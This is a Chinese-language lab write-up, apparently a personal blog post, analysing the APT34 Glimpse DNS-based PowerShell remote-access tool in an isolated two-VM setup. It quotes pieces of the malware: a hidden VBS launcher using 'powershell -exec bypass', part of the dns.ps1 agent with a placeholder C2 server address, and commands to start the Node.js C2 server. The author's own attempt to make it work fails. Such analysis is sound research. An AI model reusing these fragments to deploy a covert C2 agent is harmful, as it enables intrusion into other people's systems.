0x00 背景
这阵子接到一个任务,需要我对powershell无文件攻击进行分析。在找了一圈资料之后,最后决定对APT34(带有伊朗背景)的远程powershell工具Glimpse进行分析,虽然最后的结果并不完美,暂且记录一下。
REF
APT34攻击样本分析-绿盟
APT34工具Github
0x01 Glimpse概述
该工具利用DNS协议进行通信,可以在agent端和server端传输指令信息,是一款远程控制工具。主要包括三个部分:agent、panel、server
- agent
agent为受控端,包含1个vbs脚本和3个ps1脚本1
2
3
4runner_.vbs 用于启动ps1脚本
dns.psl 用于与服务端通信
dns_main.psl 用于与服务端通信
refineddns_main.ps1 用于与服务端通信 - panel
panel是服务器端可视化工具,可以对通信信息进行监视1
2newPanel-dbg.exe 可视化程序
ToggleSwitch.dll 用来处理信息交互 - server
server是服务器端,接收并解析agent端的DNS请求,向agent端下发指令1
srvr.js 用来处理信息交互的js脚本
0x02 实验环境
首先创建了两台虚拟机,win7(192.168.48.131)和win10(192.168.48.129)。然后配置虚拟网络映射器,使两台虚拟机组网后位于同一局域网络,并且与主机不在同一局域网 (样本有风险,实验环境应该与外网和主机隔离),关闭防火墙,保证两台虚拟机之间能ping通。
win7 ping win10
win10 ping win7
0x03 实验分析
分为3个部分:agent、server、panel
agent – win7 192.168.48.131
修改runner_.vbs脚本内容,将AGENT PATH改为实际文件路径,这里我改为同文件目录的dns.ps11
2set sh=CreateObject("Wscript.Shell")
sh.Run "powershell -exec bypass -file <AGENT PATH>", 0, False修改dns.ps1文件,修改server地址(这里我改为win10的ip 192.168.48.129)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16MMC = "<MALICIOUS SERVER>"; #填写服务器地址
NNC = $env:PUBLIC + "\Libraries";
if (-not (Test-Path $NNC)) { md $NNC; }
OOC = $NNC + "\quid";
PPC = $NNC + "\lock";
if (!(Test-Path $PPC)){sc -Path $PPC -Value $pid;}
else
{
$QQC = (NEW-TIMESPAN -Start ((Get-ChildItem $PPC).CreationTime) -End (Get-Date)).Minutes
if ($QQC -gt 10)
{
stop-process -id (gc $PPC);
ri -Path $PPC;
}
return;
}双击运行runner_.vbs脚本,它会启动dns.ps1脚本,在C:\Users\Public目录下新建Libraries文件夹,其文件树结构如下,除了生成两个文件夹以外,还生成了一个quid文件(内容为uid,即此处的198320f4c4)
server – win10 192.168.48.129
安装nodejs
创建一个项目文件夹(这里我的是APT34_RCE),将服务端文件srvr.js复制到当前路径,初始化nodejs项目1
npm init
在当前文件夹路径安装相关依赖包(npm国外源很慢,可以换cnpm用国内taobao源)
1
2npm install --save body-parser cookies child_process dnsd webix express ip fs path sqlite3 http portscanner child_process async ejs express-fileupload dateformat multer file-base64 flat-file-db moment busboy
npm install --save -g forevercmd打开当前路径,开启server(下面的命令会让服务端持久运行)
1
forever start srvr.js
它会在目录C:\ProgramData下创建文件夹Glimpse,用来保存与agent的通信信息
服务端的理想情况是监听本机ip的53端口,但自己测试的时候,用netstat -ano | findstr 53命令查找53端口,其并没有在监听。网上找到的攻击成功的截图都来自原作者的telegrampanel
在图形化面板panel模块,也没有得到agent与server的通信信息
0x04 自闭
花了一天的时间去找问题,目前还没有解决…开始自闭…
怀疑是以下原因
- 两台虚拟机均没有连接外网,DNS解析maybe失败
- agent和server配置出错
- 该工具本身不完整